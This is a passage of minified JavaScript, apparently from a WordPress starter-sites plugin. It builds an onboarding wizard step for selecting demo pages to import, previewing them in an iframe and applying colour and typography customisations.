r=e.filter(o=>t[o]).map(o=>`\t${o}: ${t[o]} !important;`);return 0===r.length?"":`${o} {\n${r.join("\n")}\n}`};return[o("body",["--bt-color-button-bg","--bt-color-button-border","--bt-color-link-default","--bt-color-button-bg-hover","--bt-color-button-border-hover","--bt-color-link-hover","--bt-color-forms-text","--bt-color-heading-1","--bt-color-heading-2","--bt-color-heading-3","--bt-color-heading-4","--bt-color-heading-5","--bt-color-heading-6","--bt-color-body-text","--bt-color-forms-placeholder","--bt-color-post-meta","--bt-color-loop-post-text","--bt-color-forms-borders","--bt-color-content-cards-bg","--bt-color-menu-text","--bt-color-menu-bg","--bt-color-bg","--bt-color-button","--bt-color-button-hover","--bt-color-forms-background"]),o(".single",["--bt-color-post-title"]),o(".blog",["--bt-color-loop-post-meta","--bt-color-loop-post-title"])].filter(Boolean).join("\n\n")}},760:(t,o,e)=>{e.r(o),e.d(o,{default:()=>v});var r=e(87),n=e(723),l=e(832),a=e(374),i=e(809),s=e(649),c=e(998),b=e(2),d=e(123),p=e(132),g=e(635),u=e(170),_=e(874),m=e(665),h=e(668),f=e(790);const y=(t,o,e)=>{if(!t)return null;if("custom"===t&&e&&"object"==typeof e&&Object.keys(e).length>0)return e;if("custom"===t)return null;const r=o.find(o=>o.id===t);return r&&r.colors?r.colors:null},w=(t,o,e)=>{const r=(0,c.DW)(o,e);return _.A&&r&&t?t.replace(/^https:\/\/demo\.athemes\.com\/[^/]+\//,r):t},k=(t,o,e)=>((t,o,e)=>{const r=(0,c.DW)(o,e);if(!_.A||"elementor"!==e||!r||!t?.url)return t?.url||"";const n=r.endsWith("/")?r:`${r}/`,l=t.title?.trim()?.toLowerCase()||"",a=t.slug?.trim()?.toLowerCase()||"";return"home"===l||"my front page"===l||"home"===a||"homepage"===a?n:a?`${n}${a}/`:t.url})({...t,url:w(t?.url,o,e)},o,e),v=function({onBack:t,onContinue:o,navigationLoading:e,navigationError:w}){const{wizardData:v,prefetchedPages:F,siteTitle:C,builder:S}=(0,i.X)(),E=(0,r.useRef)(null),$=(0,r.useRef)(Date.now().toString()),[A,x]=(0,r.useState)([]),[T,B]=(0,r.useState)([]),[P,D]=(0,r.useState)(!1),[U,L]=(0,r.useState)(null),[R,O]=(0,r.useState)(null),[j,I]=(0,r.useState)(!0),z=v.customize||{},q=(v.design||{}).selectedSiteId,H=(0,c.x3)(),M=(0,c.tO)(q),N=(0,b.ou)(M,H),W=(0,d.zb)(M,H);g.A.setLocalPreview(!q),(0,u.xl)(E);const Q=(0,r.useCallback)(()=>{const t={},o=y(z.selectedColorScheme||"",N,z.customColors||{});o&&(t.colors=o);const e=z.siteLogo||{url:"",id:0},r=z.logoHeight??100;e.url&&(t.logo={...e,height:r},t.logoHeight=r),t.title=C,t.showTitle=z.showSiteTitle??!0;const n=z.selectedTypographyPair||"";if(n){const o=W.find(t=>t.id===n);o&&(t.typography=o)}return t},[z,N,W,C]);(0,r.useEffect)(()=>{const t=Q();Object.keys(t).length>0&&g.A.storePendingCustomizations(t)},[Q]),(0,r.useEffect)(()=>{(async()=>{const t=v.design;if(t?.selectedSiteId){if(F&&F.length>0){x(F);const t=v.pages?.selectedPages;return t&&Array.isArray(t)&&t.length>0?B(t):B(F.map(t=>t.id)),void O(F[0]||null)}D(!0),L(null);try{const o=[...await(0,s.WE)(t.selectedSiteId,S)].sort((t,o)=>{const e=/^(home|my front page)$/i.test(t.title.trim()),r=/^(home|my front page)$/i.test(o.title.trim());return e&&!r?-1:!e&&r?1:0}).filter(t=>{const o=t.title.trim();return!/^(sample page|test)$/i.test(o)});x(o);const e=v.pages?.selectedPages;e&&Array.isArray(e)&&e.length>0?B(e):B(o.map(t=>t.id)),O(o[0]||null)}catch(t){console.error("Failed to fetch pages:",t),L(t.message||"Failed to load pages")}finally{D(!1)}}})()},[v,F,S]);const G=t=>{B(o=>o.includes(t)?o.filter(o=>o!==t):[...o,t])};(0,r.useEffect)(()=>{A&&0!==A.length&&A.forEach(t=>{const o=k(t,M,S);o&&(0,p.bT)(o,"data-atss-page-preconnect")})},[A,M,S]),(0,r.useEffect)(()=>{const t=k(R,M,S);t&&(0,p.bT)(t)},[R,M,S]);const Y=(0,r.useCallback)(()=>{I(!1),E.current&&g.A.init(E.current)},[]);(0,r.useEffect)(()=>{if(!_.A)return;const t=y(z.selectedColorScheme||"",N,z.customColors||{});if(!t||0===Object.keys(t).length)return void g.A.resetCustomCss("atss-botiga-non-variable-colors");const o=(0,m.Jq)(t,q),e=[(0,m.Ei)(t),o].filter(Boolean).join("\n\n");e?g.A.updateCustomCss(e,"atss-botiga-non-variable-colors"):g.A.resetCustomCss("atss-botiga-non-variable-colors")},[z.selectedColorScheme,z.customColors,N,q]);const V=t=>{if(!t)return t;const o=(0,l.removeQueryArgs)(t,["atss_preview","cache_test"]);return(0,l.addQueryArgs)(o,{atss_preview:"1",cache_test:$.current})};return(0,f.jsxs)("div",{className:"atss-onboarding-wizard__step-wrapper flex",children:[(0,f.jsxs)("div",{className:"atss-onboarding-wizard__step atss-onboarding-wizard__step--pages",children:[(0,f.jsx)("main",{className:"atss-onboarding-wizard__step-body",children:(0,f.jsxs)("div",{className:"flex gap-md flex-col",children:[(0,f.jsxs)("span",{className:"atss-control__label text-sm font-medium",children:[(0,n.__)("Select Pages to Import","athemes-starter-sites")," (",T.length,"):"]}),(0,f.jsx)("p",{className:"text-xs",style:{margin:"0"},children:0===T.length?(0,f.jsx)("span",{style:{color:"var(--atss-color-text-error)"},children:(0,n.__)("Select Pages to Import","athemes-starter-sites")}):(0,f.jsxs)(f.Fragment,{children:[(0,f.jsx)("span",{className:"text-secondary",style:{display:"block"},children:(0,n.__)("Selected: ","athemes-starter-sites")}),(0,f.jsx)("span",{className:"text-heading",children:A.filter(t=>T.includes(t.id)).map(t=>t.title).join(", ")})]})}),U&&(0,f.jsxs)("p",{style:{color:"var(--atss-color-text-error)"},children:[(0,n.__)("Error: ","athemes-starter-sites"),U]}),!P&&!U&&A.length>0&&(0,f.jsx)("div",{className:"atss-pages-grid",children:A.map(t=>(0,f.jsx)(a._C,{id:t.id,title:t.title,url:V(k(t,M,S)),thumbnail:t.thumbnail,isSelected:T.includes(t.id),onToggle:G,onClick:()=>(t=>{R?.id!==t.id&&(g.A.resetReadyState(),O(t),I(!0))})(t)},t.id))}),!P&&!U&&0===A.length&&(0,f.jsx)("p",{children:(0,n.__)("No pages found.","athemes-starter-sites")})]})}),(0,f.jsx)(a.wi,{showBack:!0,showSkip:!1,continueText:(0,n.__)("Continue","athemes-starter-sites"),onBack:t,onContinue:()=>{(0,h.v)("onboarding_pages_selected",{builder:S,step:"pages",demo_id:q,has_selected_starter:!!q,selected_pages_count:T.length}),o({selectedPages:T,selectedPageData:A.filter(t=>T.includes(t.id))})},continueDisabled:0===T.length,continueLoading:e,continueError:w})]}),(0,f.jsx)("div",{className:"atss-onboarding-wizard__preview",children:(0,f.jsxs)("div",{className:"atss-onboarding-wizard__preview-inner atss-onboarding-wizard__preview-iframe--desktop",children:[j&&R&&(0,f.jsx)("div",{className:"atss-onboarding-wizard__preview-loading",children:(0,f.jsx)(a.y$,{})}),!P&&R&&R.url?(0,f.jsx)("iframe",{ref:E,id:"page-preview",src:(()=>{let t=k(R,M,S);if(!_.A&&/^my front page$/i.test(R.title?.trim())&&(t=t.replace("?page_id=5","")),"gutenberg"===S){if("resume"!==q&&(t=t.replace(/--/g,"-")),_.A)return V(t);t=t.replace(/(\/\/[^/]+\/)([^/?]+)/,(t,o,e)=>e.endsWith("-gb")?t:`${o}${e}-gb`),"cafe"===q&&(t="https://demo.athemes.com/sp-cafe-gb/"),"author"===q&&(t="https://demo.athemes.com/sp-author-gb/")}return V(t)})(),title:R.title||(0,n.__)("Page Preview","athemes-starter-sites"),onLoad:Y,style:{opacity:j?0:1},className:"atss-onboarding-wizard__preview-iframe"}):!P&&(0,f.jsx)("div",{className:"atss-onboarding-wizard__preview-placeholder",children:(0,f.jsx)("p",{children:(0,n.__)("Select a page to preview","athemes-starter-sites")})})]})})]})}},998:(t,o,e)=>{e.d(o,{DW:()=>a,ib:()=>n,tO:()=>l,x3:()=>i});const r=()=>window.atssOnboarding?.demos||{},n=()=>{const t=r();return Object.entries(t).map(([t,o])=>({id:t,...o}))},l=t=>{const o=r();return o[t]?{id:t,...o[t]}:null},a=(t,o="gutenberg")=>{if(!t)return"";const e="petshop"===t.id?"gutenberg":o;return t.previews?.[e]||t.preview||""},i=()=>window.atssOnboarding?.themeName||"sydney"}}]);